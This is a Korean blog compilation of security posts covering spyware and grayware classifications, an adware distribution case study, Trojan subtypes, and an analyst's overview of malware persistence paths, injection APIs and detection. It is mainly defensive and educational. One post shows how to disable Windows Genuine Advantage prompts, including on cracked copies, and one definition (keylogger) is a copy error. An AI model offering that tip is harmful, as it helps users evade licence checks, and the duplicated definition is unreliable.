천객만래 [千客萬來] (It has an interminable succession of visitors)

공인인증서 쉽게 복사하기




Posted by SB패밀리

[개발/이론] 악성코드 스파이웨어 분류



http://labs.no-ad.co.kr/net/SpywareDB.aspx

 

• 트래킹쿠키
2개 이상의 다른 사이트에서 공유하는 쿠키입니다. 쿠키는 사이트마다 생성하여 접속 정보를 저장하는 파일인데, 여러 사이트에서 쿠키를 공유하게 되면 사용자의 정보가 유출될 우려가 있습니다. 
• 광고 표시
프로그램 실행 중에 프로그램의 화면 내부 혹은 팝업으로 광고를 노출합니다 
• 로봇
시스템 외부에서 사용자 허락 없이 시스템을 조작할 수 있도록 하는 프로그램입니다. 
• 수집기
개인 정보 혹은 관련된 파일을 수집하는 프로그램입니다. 
• 사기
사용자의 시스템에 대하여 의도적으로 잘못된 정보를 표시하는 프로그램입니다. 
• 제거방해
해당 프로그램을 삭제할 때 불편한 과정을 거쳐야 하거나 제거할 수 없게 하는 프로그램입니다. 
• 비정상적 설치경로
프로그램 제작사의 공식 홈페이지나 포털사이트의 공개자료실 및 패키지형태가 아닌 개인 홈페이지, 동호회 등의 게시판에서 ActiveX등의 형식으로 설치되는 프로그램입니다. 
• 실행방해
다른 정상적인 프로그램의 실행을 방해하는 프로그램입니다. 
• 백도어
외부에서 시스템 내부로 접근할 수 있는 통로를 생성하는 프로그램입니다. 이 통로를 통하여 사용자의 파일을 유출하거나 시스템의 권한을 획득할 가능성이 있습니다. 
• BHO
인터넷 익스플로러의 기능을 추가/확장하는데 사용되는 기술인 Browser Helper Objects의 약자입니다. 하지만 이 기능은 원치 않는 광고를 노출하는 등의 목적으로 이용되기도 합니다. 
• 번들러
다른 프로그램을 포함하여 배포되는 프로그램입니다. 포함되는 프로그램은 설치과정에서 함께 설치되거나, 프로그램 운용중에 설치됩니다. 
• 시스템 설정 변경
윈도우의 시스템 설정을 변경하는 프로그램입니다. 
• IE 설정 변경
인터넷 익스플로러의 설정을 변경하는 프로그램입니다. 
• 다이얼러
인터넷 ISP 혹은 사설 BBS등에 사용자 확인 없이 접속하는 프로그램입니다. 
• 다운로더
다른 프로그램을 네트워크를 통해 다운로드/설치하는 프로그램입니다. 
• 드로퍼
실행 파일 내부에 보관된 악성프로그램을 파일 실행 시 특정한 다른 곳에 복사하는 프로그램입니다. 
• 가로채기
시스템의 설정을 변경하여 사용자의 요청을 가로채어 자신의 목적대로 수행하도록 유도하는 프로그램입니다. 대표적인 예로 강제적인 사이트 포워딩 행위가 있습니다. 
• 후킹
다른 프로그램의 수행을 가로채는(후킹하는) 특성을 가진 프로그램입니다. 
• 설치
설치 기능을 가진 모든 프로그램을 지칭합니다. 
• 키로거
설치 기능을 가진 모든 프로그램을 지칭합니다. 
• 키워드 변경
검색 키워드를 초기화하거나 변경하는 프로그램입니다. 
• 메일러
메일 전송을 가진 프로그램입니다. 
• 루트킷
관리자 권한이나 기타 특수한 접근 권한을 획득하는데 사용되는 프로그램입니다. 
• 툴바
인터넷 익스플로러의 추가기능으로 설치되는 도구모음 프로그램입니다. 
• 트로이 목마
정상적인 프로그램으로 가장하여 정보 수집 등의 기능을 수행하는 프로그램입니다. 
• 바이러스
정상적인 파일 안에 자신을 숨겨 파일이 실행될 때 시스템의 데이터를 변조, 파괴하며 다른 정상적인 파일에 자신을 복제해 넣는 프로그램입니다. 
• 웜
네트워크를 통해 스스로 확산되는 프로그램입니다. 바이러스와 달리 숙주가 되는 파일이 필요하지 않으며, 스스로 실행됩니다. 
• 팝업 표시
사용자에게 불편을 초래할 수 있는 별도의 창을 띄우는 프로그램입니다. 
• 시작페이지 변경
인터넷 익스플로러의 시작 페이지를 초기화하거나 변경하는 프로그램입니다. 
• 시작프로그램 변경
윈도우의 시작 프로그램 항목을 변경하거나 추가하는 프로그램입니다. 
• 로컬 코드 실행
로컬 코드를 실행하는 프로그램입니다. 
• 스파이웨어 제거
스파이웨어 제거 프로그램입니다. 
• 변장 프로그램
다른 프로그램으로 가장하여 특수한 목적을 수행하는 프로그램입니다. Trojan과 비교하여 악의적인 목적을 가지지는 않으나 사용자에게 불편을 초래할 가능성이 있는 프로그램입니다. 
• 즐겨찾기 변경
웹브라우저에 즐겨찾기를 추가하거나 변경하는 프로그램입니다. 
• 바로가기 생성
바탕화면에 바로가기를 생성하는 프로그램입니다. 
• 해킹툴
시스템의 정보를 유출하거나 변조/파괴하기 위해 사용하는 프로그램이며 일반적으로 시스템의 보안 취약점을 이용합니다. 




Posted by SB패밀리

그레이웨어 분류기준 

 
http://labs.no-ad.co.kr/net/GraywareCriteria.aspx
 
1 개요
 
이 문서는 그레이웨어에 대한 (주)노애드의 자체 정의 및 기준을 기술하고 있습니다.
이 문서에 기술된 정의 및 기준은 노애드 및 노애드2+에 내장된 검사/치료 데이터베이스의 기반이 됩니다.
 
 
 
2 정의
 
그레이웨어는 악성프로그램과는 다르게 사용자의 동의를 얻어 설치되며 사용자의 컴퓨터에 위협적인 행동을 하지는 않지만 사용자에게 불편을 야기할 수 있는 프로그램입니다.
다음 절에서 기술한 행위를 수행하는 프로그램은 그레이웨어로 인정할 수 있습니다.

그레이웨어로 분류된 프로그램의 제작사는 해당 프로그램이 아래에 기술된 행위를 더 이상 수행하지 않는다는 증거자료를 첨부하여 ㈜노애드에 이의를 제기할 수 있으며 ㈜노애드에서는 해당 프로그램에 대해 3~6개월 동안 해당 행위가 반복되지 않음을 확인한 후에 노애드 및 노애드2+의 그레이웨어 데이터베이스에서 해당 프로그램을 삭제합니다.
 
 
 
3 인정 기준
 
프로그램의 이름을 명확하게 알리지 않거나 프로그램의 기능에 대하여 프로그램 배포 사이트 혹은 설치관리자를 통하여 사용자에게 명확하게 주지시키지 않는 행위
웹브라우저 주소표시줄의 기능을 변경하는 행위.

사용자가 쉽게 구분할 수 없는 웹브라우저의 기본 주소표시줄과 유사한 형태의 주소표시줄을 설치하는 행위

프로그램 실행 중에 해당 프로그램창 내부가 아닌 곳에 광고를 노출하는 행위.

사용자 동의 없이 바탕화면에 바로가기, 즐겨찾기를 추가하는 행위.

사용자가 의도하지 않은 물품을 구매하거나, 의도하지 않은 판매자에게 구매하도록 유도하는 행위.

사용자에게 웹사이트 이용에 반드시 필요하지 않은 해당 프로그램의 설치를 요구하는 행위.

프로그램 실행 중에 프로그램의 실행여부를 확인할 수 없게 하는 행위(작업표시줄, 트레이아이콘, 프로그램창 등).

프로그램 제거 과정에서 프로그램 제거를 취소하도록 유도하거나 협박하는 행위.

사용자의 승인 없이 시스템 시작과 동시에 실행되는 프로그램 목록(레지시트리, 시작프로그램, 기타 모든 목록)에 해당 프로그램을 등록시키는 행위 
 
 

Posted by SB패밀리

스파이웨어 진단 프로그램의 단순한 검출 조건

 

스파이웨어 조건

 

- 프로그램 설치 시 사용자 동의 
- 언 인스톨 프로그램 제공 
- 광고 출력 시 프로그램 이름 표시 
- 웹사이트에서 프로그램 다운로드시 사용자 동의 구함



Posted by SB패밀리

윈도우 정품혜택알림 안뜨게 하기





윈도우 업데이트를 받다 보면 업데이트를 하지 말아야 할것중에

 Windows Genuine Advantage 알림 이라는것이 있습니다.


정품을 쓰는데도 혹은 크랙을 쓰는데도 자동업데이트로 해놓아서 정품인증패치를 다운받고 설치가 되어 버린

경우 윈도우를 시작 할때 마다 아래 그림과 같이 정품 인증하라고 문구의 창이 계속 떠서 많이 당황하게 됩니다. 

이런 경우에 간단히 해결하는 방법이 있습니다. 아래에 설명을 잘 보시기 바랍니다.


Windows Genuine Advantage 을 이미 업데이트 했을때

 정품 헤택 알림 설치 마법사가 뜬다든가 아니면 화면 양쪽 옆으로

 정품 인증 받으라는 작은 문구가 나타 날겁니다


탐색기 폴더에서 아래의 경로로 이동합니다.


C:\Windows\Tasks 폴더로 이동


이동 후에 나타나는 다음 파일을 삭제합니다. 백업을 하지 않아도 됩니다.


wagsetup.exe 정품혜택알림 실행파일

wgasetup.job 정품혜택알림 스케줄


그리고, 윈도우즈를 재시작 합니다. 

그러면, 정상적으로 윈도우 시작시  정품혜택알림 창이 더 이상 나타나지 않는다는 것을 경험하실수 있습니다.


편하게 사용해보자구요.




Posted by SB패밀리



엑셀 저장시 “공유 위반 때문에 변경 내용을 filename에 저장할 수 없습니다.

이런 에러 메시지 때문에 당황하신 적이 있어서 이 글을 읽는 것으로 보입니다.


이는 윈도우7 에서 대체로 발생하는데 백신 프로그램과 연관이 있습니다.


V3 계열이나 알약 등에서 실시간 검사를 하는 경우 해당 파일을 '공유위반 오류'로 설정하기 때문인데


아래와 같이 해결을 할 수 있습니다.


가장 많이 사용하는 V3 Lite를 예를 들어 V3 Lite을 실행 한 후 환경설정화면을 띄운 후 

아래와 같이 '검사 예외 설정'에서 '검사 예외 확장자' 입력을 하고 "확인" 버튼을 클릭합니다.




Posted by SB패밀리

언제부터인가 안드로이드 기반 휴대폰에서 스팸 광고가 매일 뜨기 시작했다.

그런데 앱을 지웠는데도 계속 나온다.

결국.. 바이러스 백신 프로그램과 유사한 프로그램을 찾기 시작했다.




스팸 푸시 프로그램이 자주 실행되어 귀찮게 한다. 삭제 방법도 딱히 모르겠고 말이다.


그래서 몇가지 프로그램을 찾아보았다. 하지만 그 프로그램들 중에서 xapush.com을 검출하지 못한 프로그램도 있었다.


그런데, 설치하고 지우기를.. 몇 번...


결국 xapush.com 광고를 띄우는 프로그램을 찾아주는 디텍터를 찾았다.



AirPush Finder



이제 귀찮은 푸쉬 광고는 다이지 않겠지... 맘이 좀 편해진다





Posted by SB패밀리

사이버 공격을 측정하는 허니넷(honeynet) 


독도 및 일본 교과서 왜곡 문제 등의 뚜렷한 해결점을 찾지 못하고 있는 가운데, 이번에는 한일간 사이버 전쟁이 급격히 늘고 있다. 한국정보보호진흥원에 따르면 지난 4월 중 일본의 해킹 공격이 3월에 대비해 두 배가량 증가했다고 한다. 이로써 일본은 한국에 대한 국가별 공격순위에서 중국에 이은 2위를 기록했다.  그동안 중국이 1위를 고수하고 있는 가운데, 미국이 2위의 사이버 공격국가였다. 일본에 대한 우리의 사이버 공격도 활발한데, 3월에는 일본 외무성 홈페이지가 마비되는 일이 있었다.

사이버 공격을 측정하는 방법중 하나가 허니넷(honeynet)을 구축해 이를 감시하는 것이다. 이번 조사에서도 사용된 허니넷은, 가상의 네트워크를 구성해 두고 사이버 공격을 유인하는 것으로 허니넷에서 일어난 사이버 공격 유형을 분석하여 사이버 보안에 대한 대비책을 마련할 수 있게 된다.



키워드: 허니넷 - honeynet 
키워드 확장: 허니넷의 목적은 사이버 공격을 유도한 다음 해커들의 활동과 방법들을 연구하기 위한 것이다. 
                   - The purpose of honeynet is to invite attack, so that an attacker’s activities and methods 
                   can be studied.

Posted by SB패밀리


[IT/보안] DNS 체인저 감염 주의보


한국인터넷진흥원(KISA, 원장 서종렬)은 갑자기 컴퓨터의 인터넷 접속이 안 된다면 'DNS 체인저(DNS Changer)' 악성코드 감염을 의심해 볼 것을 당부했다.


9일 KISA에 따르면 DNS 체인저란 사용자 PC를 감염시켜 도메인 이름을 IP주소로 변환해 주는 DNS(Domain Name System)의 설정을 바꾸는 것으로, 특정 사이트를 정상적으로 입력해도 해커가 만든 엉뚱한 사이트로 접속되도록 하는 악성코드다.


제어판에 있는 네트워크 정보의 어댑터 설정 또는 로컬 영역 연결 에서 속성을 확인해보면 TCP/IPv4 에서 DNS 서버 주소를 확인할 수 있다.

여기에 있는 DNS값이 직접입력한 값이나 자동으로 DNS주소 받기가 아닌 경우 의심해 볼 수 있다.


KISA에서는 DNS 체인저로 인한 인터넷 접속장애를 예방하기 위해 보호나라(www.boho.or.kr)를 통해 치료용 전용 백신을 제공하고 있다.


전용백신 다운로드 다운로드


Posted by SB패밀리

[정보]나도 모르게 설치된 그것이 알고 싶다.

각종 보안 이슈 정리 2012/04/24 10:15

 

nProtect 대응팀 공식 블로그

http://erteam.nprotect.com/269

 

1. 개요

잉카인터넷 대응팀은 컴퓨터에 자신도 모르게 설치되는 이른바 광고 목적의 프로그램들이 어떤 과정을 거쳐서 사용자 컴퓨터에 설치되는지 실제 사례를 통해서 그 전 과정을 공개해 보고자 한다. 인터넷 광고 기능 자체는 법적으로 정당한 행위에 속하지만, 악성 프로그램의 분류 중에는 Adware(Advertise+Software)라는 형태가 존재한다. 이는 비정상적인 절차를 통해서 유포되는 광고성 파일이거나 다른 프로그램처럼 위장하여 사용자를 속인 후 설치되는 경우가 대표적이라 할 수 있다. 또한 컴퓨터 이용자에게 심각한 불편을 초래하는 형태(인터넷 시작페이지 고정, 팝업 광고, 제휴 프로그램 설치)나 개인정보를 수집하여 외부에 유출을 시도하는 종류 등이 악성 광고 프로그램으로 분류될 수 있게 된다. 


2. 악성 광고 프로그램의 정체

인터넷 기반의 광고성 프로그램들은 수 많은 컴퓨터 이용자들에게 설치를 하는게 가장 큰 관심사이자 목적이다. 그래야지만 광고라는 목적에 부합되는 비지니스 모델 서비스가 가능하고 부수적으로 "수익을 창출"할 수 있는 기반이 마련되기 때문이다.

그렇다보니 일부 광고업체들은 정상적인 과정을 통해서 광고모듈을 배포하는 것 보다는 ▶사용자들이 인지하지 못하게 만든 후 설치하는 부적절한 제휴 형태나 ▶마치 정상적인 프로그램처럼 가장하여 설치하는 형태가 성행하고 있는 것이다. 특히, 사용자들이 즐겨쓰는 키워드나 최신 유행 검색어 등을 이용해서 마치 관련된 내용처럼 위장하여 클릭을 유도하여 설치하는 경우가 많다.

이러한 형태의 프로그램이 지금까지 자주 사용한 방식으로는 동영상 재생 프로그램이나 코덱처럼 위장하여 사용자 스스로 설치를 하도록 속이거나 별개의 특정 프로그램 다운로더(Downloader)나 설치용(Installer/Setup) 파일처럼 아이콘이나 파일명을 사칭하는 경우가 대표적이라 할 수 있다.

그리고 최근까지 가장 유행하는 방식은 인기 검색 키워드와 관련된 내용의 파일처럼 교묘하게 위장한 후 "추가구성요소 설치 동의"라는 명목으로 제휴 프로그램을 다수 설치하는 방식인데, 특히 스크롤바 화면을 최소화하여 일부만 보이도록 하거나 단순한 내용만 노출시켜 사용자가 쉽게 인지하지 못하도록 구성된 형태라 할 수 있다.

▣ 악성 광고성 프로그램 유포 사례

아래 화면은 회원수가 100만명을 육박하는 아이패드 관련 커뮤니티 게시글에 덧글로 등록된 내용이다. 게시글과 연관된 아이패드 관련 내용으로 위장하고 있으며, 구글 단축 URL 주소를 이용해서 실제 주소를 보여지지 않도록 하고 있다.


아이패드 동영상 플레이어와 관련된 내용처럼 위장된 구글 단축 URL 주소를 클릭하게 되면 다음과 같이 "아이패드동영상플레이어.exe" 라는 실행파일이 다운로드 시도된다.

 


상기 방식에서는 아이패드 동영상 플레이어와 관련된 내용으로 위장하여 배포되고 있는데, 실제로 이 방식은 매우 다양한 파일처럼 위장되어 유포되는 형태이다. 특히, NPROTECT.EXE 와 같이 잉카인터넷의 모듈처럼 위장하여 유포된 사례도 발견된 바 있다. 아래 화면과 같이 동일한 방식으로 제작되어 유포 중인 것을 확인할 수 있다.


이런 광고 방식은 차후 법적 제재를 최대한 우회하기 위해서 실제로 관련된 내용을 첨부하여 보여주는 방식을 채택하고 있고, 최종 설치 목적인 제휴 프로그램들의 약관이나 사용자 동의를 사용자가 최대한 인지하지 못하게 숨기는 방식을 사용하고 있다. 따라서 이러한 프로그램들에 대한 적절한 규제가 이뤄지지 못하고 있는 것이 현실이고, 사용자들에 대한 피해가 지속적으로 발생하고 있다.

다운로드된 파일을 실행하게 되면 "압축풀기"라는 내용을 보여주면서 사용자의 클릭을 유도하게 된다. 이때 좌측 화면 아래쪽에 10 여개의 별도 추가 구성 요소 설치가 함께 진행된다. 보통 일반 사용자들의 경우 이런 내용을 자세히 확인하지 않고 설치하는 경우가 많다는 점을 악용한 것이고, 초기 설정값으로 모두 설치에 V 체크가 되어 있다는 점을 주의하여야 한다. 


설치 후에는 아래 화면과 같이 "아이패드동영상플레이어.jpg" 라는 파일을 생성하여 마치 정상적인 파일처럼 보이도록 하지만, 단순한 이미지 파일로서 아이패드 동영상 플레이어는 아니다.


제휴 프로그램들은 모두 백그라운드로 사용자 몰래 설치되기 때문에 사용자는 설치 과정을 인지하기 어렵다. 더욱이 문제가 되는 부분이 있다. 추가 구성 요소로 설치되는 광고성 제휴 프로그램 중에는 사용자가 실행하지 않아도 스스로 작동되어 사용자 컴퓨터에 많은 문제가 있는 것처럼 과장된 내용을 보여준 후 해결하기 위한 버튼을 클릭 시, 유료 결제창을 보여주고 소액 과금을 유인하는 형태로 인해서 실제 금전적 피해를 호소하는 경우도 많은 상태이다.
 


PC속도저하요인으로 진단된 목록들을 보면 단순히 휴지통 파일과 단순 인터넷 임시파일들로서 정상적인 컴퓨터에 존재하는 것들을 유료로 결제를 요구하는 것으로 문제가 되는 부분이다. 부팅속도향상 부분에서는 "아이패드동영상플레이어.exe" 파일에 의해서 함께 설치된 다른 제휴 프로그램들을 탐지하고 있어 자신들이 설치한 파일을 자신들이 진단하는 모순적인 행위를 보이고 있다.


또한, 사용자의 별도 해지 요청이 없는 한 자동연장결제를 통해서 정기적으로 소액이 자동청구되는 피해를 입는 경우가 사회적인 문제가 되고 있다.


아울러 결제 화면을 저장하지 못하도록 하는 기능도 사용하고 있는데, 메시지 창에는 정보보호를 위해서 키보드 조작은 불가능합니다라고 언급하고 있지만, 이것은 인터넷 블로그 등에 해당 내용을 게시하지 못하게 하기 위한 목적으로 사용되고 있는 것으로 추정된다.

 
이렇듯 광고성 프로그램들은 마치 정상적인 사용자 동의와 약관을 명시하여 법적으로 전혀 문제가 없는 것처럼 보이지만, 실제로는 유포 과정에서 특정 프로그램으로 위장하고 있고 사용자들로 하여금 클릭을 유도하여 별도의 파일들을 동시에 설치하고 있다는 점과 특히, 백그라운드 기능을 이용하기 때문에 이용자들은 자신이 어떤 프로그램을 복수적으로 설치했는지 인지하기가 거의 불가능에 가깝다고 할 수 있다.

3. 마무리

위와같이 특정 프로그램처럼 위장하여 제휴 프로그램 동시 설치 기법을 이용하는 광고성 프로그램들은 이용자에게 지속적으로 불편함을 초래하고 있어 Adware 형태의 악성파일로 분류하여 nProtect 제품에서 진단/치료 기능을 제공하고 있다. 대부분의 광고업체들은 자신들의 프로그램이 정상적인 사용자 동의와 약관 등을 명시하고 있기 때문에 악성프로그램이 아니다라고 주장하는 경우가 많고, 내용 증명이나 사업방해 등을 명목으로 법적 항의를 하는 경우가 많지만, 잉카인터넷 대응팀은 유포 방식에 대한 근거(배포 방식 동영상 제작)자료를 기반으로 악성 광고프로그램 종류로 치료 기능을 고객들에게 제공하고 있다.

광고업체에서 접수된 항의에 문제시되는 유포 근거 동영상 등을 일부 공개하면 특정 제휴업체에서 독단적으로 불법 배포한 버전임을 동의하며, 해당 모듈은 배포를 모두 차단했으니 다시 진단을 제외해 달라고 요청해 오지만, 이들은 보통 암묵적으로 광고 기법을 공유하는 것으로 알려져 있고, Anti-Virus 제품들로 부터 자신의 모듈이 진단되지 않도록 꾸준히 확인하는 업무를 수행하고 있기도 하다.

인터넷 이용자들은 조회수가 많은 게시글에 덧글로 올려져 있는 링크 주소 클릭에 각별히 주의해야 하며, 특정 프로그램 설치 시 광고성 제휴 프로그램들이 함께 설치되지는 않는지 꼼꼼히 따져보고 진행하여 잠재적 악성 광고프로그램 설치를 사전에 예방할 수 있도록 노력하여야 한다.

 

Posted by SB패밀리
[IT/보안] `이통사 털렸다`…가입자 정보 무더기 유출

 이동통신사 협력업체가 심부름센터에 가입자의 위치정보를 대량으로 유출한 것으로 드러났다고 한다.
 SKT와 KT 협력업체 직원이 입건되었다고 하니 SKT와 KT는 또 한바탕 가입자들의 정보유출로 인한
소란이 있을 것 같다. 

유출된 정보는 가입자 인적사항과 실시간 위치정보라고 한다.

2012년3월8일
출처: http://www.dt.co.kr/contents.html?article_no=2012030802019931742005 
Posted by SB패밀리

트로이목마(Trojan)란?

출처: 알약  
 

정의
: 정상적인 프로그램인 것처럼 위장하여 시스템에 침투하여 일단 실행되면 악성행위를 하는 프로그램이다. 사용자 모르게 설치되어 공격자가 원하는 악의적인 행위를 하며, remote 네트워크에서 시스템을 원격으로 조종할 수 있게 한다. 바이러스와 구분되는 가장 큰 특징은 자기복제능력이 없다는 것이다.

 
증상
: 일반적으로 사용자가 체감할 수 있는 증상은 거의 없으며, 사용자가 명령하지 않은 작업이 저절로 실행된다. 공격자가 시스템에 마음대로 접속할 수 있도록 해주거나 시스템/사용자의 정보를 빼돌려 사용자 모르게 공격자에게 전달한다.
알약의 탐지명에서 분류하는 트로이목마의 대표적인 형태와 각각의 증상은 아래와 같다.

 
Keylogger
 사용자 동의없이 키보드상에서 입력되는 키값을 기록한다.
 
Rat
 사용자가 인지하지 못한 상태에서 시스템에 마음대로 원격지에서 접속하여 악의적인 행동을 한다.
 
Dropper
 악성코드 내부적으로 또다른 새로운 악성코드를 생성하는 역할을 한다.
 
Downloader
 사용자 동의없이 악성코드를 다운로드하고 실행시킨다. 

일반적으로 서비스에 등록되어 부팅시 자동실행되는 경우가 많고, 특정 사이트로부터 악성코드를 다운로드 받아 실행시킨다. 자체적으로는 악의적인 일을 하지 않는다.
 
Agent
 사용자 모르게 시스템에 침투하여 악성행위를 하는 악성코드
 
ARPSpoof
 감염PC와 동일한 IP대역주소를 공격자 자신의 랜카드 주소로 매치시켜서 다른 PC로 전달될 정보를 도중에 가로채는 ARPSpoofing 공격을 일으키는 악성코드
 
Rootkit
 시스템에 침투한 후에 자신의 침투사실을 은폐하기 위해 자신과 악성코드 프로세스, 레지스트리등을 보호하는 악성코드. 차후 공격자의 원격접속을 위한 백도어를 설치하거나 내부로그 삭제, 관리자 권한 획득등을 주로 목표로 한다. 

운영체제 커널에 상주하여 커널 메모리를 조작한다.
 
Spammer
 사용자 동의 없이 스팸메일을 자동으로 발송하는 악성코드
 
DDoS
 사용자 모르게 DDoS 공격트래픽을 발생시키는 악성코드
 
Clicker
 허위경고, 허위오류보고등으로 사용자들에게 클릭을 유도하여 웹사이트 접속을 유도하거나 클릭시 악성코드를 다운로드하는 악성코드


Posted by SB패밀리

해커들의 5단계 방법론 공격방식

1단계로, 스피어 피싱 형태의 공격이 이루어진다. 여기에서는 플래시, 영화/음악 파일, 웹사이트 방문 유도, 문서 열람 등을 통해 개인을 노린다. 대상자의 링크드인, 페이스북, 트위터 등을 조사해서 해당 타겟의 취향을 파악해 이메일, 메신저, 페이스북, 드롭박스 등 여러 애플리케이션 방식으로 보내기도 한다. 엔드유저와 그의 친구들을 파악하고 그들이 신뢰하고 열만한 문서를 보내 노리는 것이다.

2단계에서는 알려지지 않은 보안 취약점을 지닌 문서 파일 등으로 엔드유저를 노린다. 아주 조그만한 코드가 머신에서 동작하게 되는데, 이를 통해 해킹 전초단계가 성립된다. 이를 업계에서는 'Exploit'이라고도 부른다.

3단계에서는 'Exploit'이 인터넷에서 큰 프로그램 파일을 다운로드 받아 설치한다. 이 단계를 지나면 4단계인 백 채널 레벨에 들어선다. 여기에서는 백도어가 생성된다. 이 백도어가 연결선(Back Channel)을 생성시키는데, 이를 통해 공격자가 네트워크에 들어온다. 그 다음 5단계에서 공격 또는 탈취 또는 둘 다가 벌어진다.
Posted by SB패밀리
출처: 하우리 

PC와 인터넷의 급속한 발전은 우리에게 편리함을 줌과 동시에 수많은 악성코드들을 만들어 냈으며, 해마다 그 악성코드의 양은 크게 증가하고 있다. 독일의 한 안티바이러스 연구기관인 AV-Test.org 에서는 다음과 같은 흥미로운 데이터를 발표했다. 매년 증가하는 유니크한 악성코드 샘플의 통계를 작성하여 발표한 것이다. 2009년 5월을 기준으로 약 2200만개의 누적 샘플 개수를 보이고 있으며, 최근 2~3년동안 매년 약 2배 이상의 증가 추세를 보이고 있다. 




이처럼 악성코드는 백신업체들이 감당하기 힘들만큼 크게 증가하고 있으며, 앞으로 그 양은 점점 더 많아질 것이다. 그럼 이러한 악성코드들을 현재 백신업체들은 어떻게 탐지하고 진단하고 있을까? 먼저 백신업체들은 접수된 샘플들의 악성행위 여부를 판단해야할 것이다. 

1. 악성코드의 일반적인 행위들

바이러스 분석가들은 접수된 샘플의 무엇을 보고 악성코드임을 확인할 수 있을까? 악성코드들은 일반적으로 다음의 행위들을 수행하며, 분석가들은 크게 정적 분석과 동적 분석을 통해 해당 행위들을 식별하게 된다.

(1) 최초 감염

* 취약점(80% 이상)을 통한 최초 파일 생성
악성코드가 최초로 PC에 감염되기 위해서는 어떠한 선행 이벤트가 반드시 수행되어야 한다. 사용자가 이메일의 첨부파일을 클릭한다던지, USB를 PC에 꽂거나 또는 인터넷으로부터 특정 파일을 다운로드하여 실행하는 등의 행위들이 먼저 일어나게 되며, 그러한 행위로 인해 악성코드들이 PC에 감염되게 되는 것이다. 먼저 앞의 이러한 행위들은 대부분 사용자의 부주의로 인해 발생하는 경우가 많다. 하지만 최근의 악성코드 감염은 사용자도 모르게 PC의 운영체제 또는 웹브라우저 등과 같은 애플리케이션의 취약점을 통하여 은밀하게 이루어지고 있으며, 이는 전체 감염 원인의 80% 이상을 차지하고 있다. 따라서 PC의 취약점을 패치하여 제거하는 것만으로도 악성코드 감염의 대부분을 예방할 수 있다.

(2) 파일 생성

* 자신복사, 다운로드, 드롭
악성코드가 최초로 PC에 감염되게 되면, 악성코드의 실체인 파일(자신)을 시스템 어딘가에 위치시키게 된다. 주로 임시폴더에 최초 생성된 악성코드를 시스템폴더로 복사하게 된다. 또한 다른 악성코드를 인터넷에서 다운로드하거나, 자신의 몸체에 담고 있는 다른 악성 파일들을 꺼내어 드롭하는 등의 행위를 수행한다. 



이러한 행위를 하기 위해 사용되는 파일/디렉토리 관련 API들에는 다음과 같은 것들이 있다.

가. 파일 생성 관련 API
- CreateFile
- ReadFile
- WriteFile
- CopyFile
- GetSystemDirectory
- GetWindowsDirectory 




나. 다운로드 관련 API 
- URLDownloadToFileA 



다. 드롭 관련 API 
리소스 섹션 등으로부터 내부의 파일을 드롭할 때 사용된다. 
- FindResourceA 
- LoadResource




(3) 실행되도록 등록 (부팅 시)

* 레지스트리, 서비스, BHO
악성코드는 가능한 시스템에서 오래 살아남아야 하며, 또한 시스템이 시작될 때마다 실행을 시켜줄 수 있는 무언가가 필요하다. 이를 위해 악성코드는 주로 레지스트리, 서비스 등에 악성코드 파일의 경로를 등록한다. 또한 웹 브라우저등이 실행될 때 사용되는 BHO(Browser Helper Object)에 등록하기도 한다.

주로 악성코드가 사용하는 레지스트리의 경로는 다음과 같다.
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
- HKML\SYSTEM\CurrentControlSet\Services

이러한 행위를 하기 위해 사용되는 레지스트리/서비스 관련 API들에는 다음과 같은 것들이 있다.
- RegCreateKey
- RegOpenKeyEx
- RegSetValueEx
- RegQueryValueEx
- CreateServiceA
- OpenServiceA
- StartServiceA 






(4) 프로세스 동작

* 프로세스, 쓰레드, DLL Injection, 서비스
악성코드는 주로 독립적인 프로세스 형태로 동작하거나 다른 정상 프로세스에 Injection되어 쓰레드 상태로 동작한다. 또한 DLL을 Injection하거나 보안 프로그램들을 종료시키기 위해 적당한 프로세스를 검색한다던지 하는 등의 여러 가지 프로세스 관련 행위들을 수행한다.

해당 행위들을 하는 데 관련된 API들은 다음과 같다. 특히 CreateRemoteThread는 DLL 형태의 악성코드를 프로세스에 Injection하기 위해 주로 사용되는 API이다.
- CreateProcess
- FindProcess
- TerminateProcess
- CreateThread
- CreateRemoteThread
- WriteProcessMemory
- ShellExecute
- StartServiceA 






(5) 네트워크 활동

* 포트 오픈, 특정 도메인/포트 접속, IRC 접속 등
악성코드의 가장 활발한 활동은 주로 네트워크 활동으로 나타난다. PC에서 수집한 정보들을 악성코드 제작자에게 전송하기 위해서는 네트워크 관련 활동은 필수적이기 때문이다. 최근의 악성코드들이 개인정보를 절취하는 등의 악성코드인 점을 감안했을 때 네트워크 관련 활동들은 중요하게 다루어질 수 밖에 없다. 또한 악성코드의 전파를 위해서도 네트워크 활동은 꼭 필요하다.

네트워크 활동과 관련하여 사용되는 API들에는 다음과 같은 것들이 있다.
- WSAStartup
- WSASend
- socket
- send
- recv
- listen
- accept
- gethostbyname
- InternetGetConnectedState

(6) 악성행위

* 보안기능 비활성화, 온라인 게임 계정 절취, DDoS, 스팸메일 발송 등
앞서 나왔던 모든 행위들과 관련 API들을 통해 기본적인 악성코드의 행동들을 수행했다면, 다음은 본격적으로 악성코드가 원하는 악성행위들을 수행하는 것이 남았다. 자신을 방해하는 보안 프로그램 및 운영체제의 보안 기능들을 비활성화하거나, 절취하고자 했던 게임 계정 등의 각종 정보를 절취하고, 감염된 수많은 좀비 PC들을 활용하여 특정 서버에 DDoS 공격을 수행하여 서비스를 방해하는 등의 악성행위가 있다. 또한 금전적인 목적으로 돈을 받고 스팸메일을 대신 발송해주는 등의 너무나도 많은 악성행위들이 존재하며 이러한 행위들을 토대로 해당 샘플의 악성코드 여부가 확실하게 판별되며, 악성행위들은 주로 악성코드의 진단명에 영향을 준다. 




2. 악성코드 탐지 기법

바이러스 분석가들이 악성코드의 일반적인 행위들을 식별하여 해당 샘플의 악성코드 여부가 확실하게 가려졌다면 해당 샘플들은 백신제품이 진단할 수 있도록 어떠한 형태로 가공되어야 할 것이다. 일반적으로 백신제품들이 악성코드를 진단하기 위해 사용하는 탐지 기법에는 Signature 기반 탐지 방법과 Heuristic 기반 탐지 방법이 있다.

(1) Signature 기반 탐지

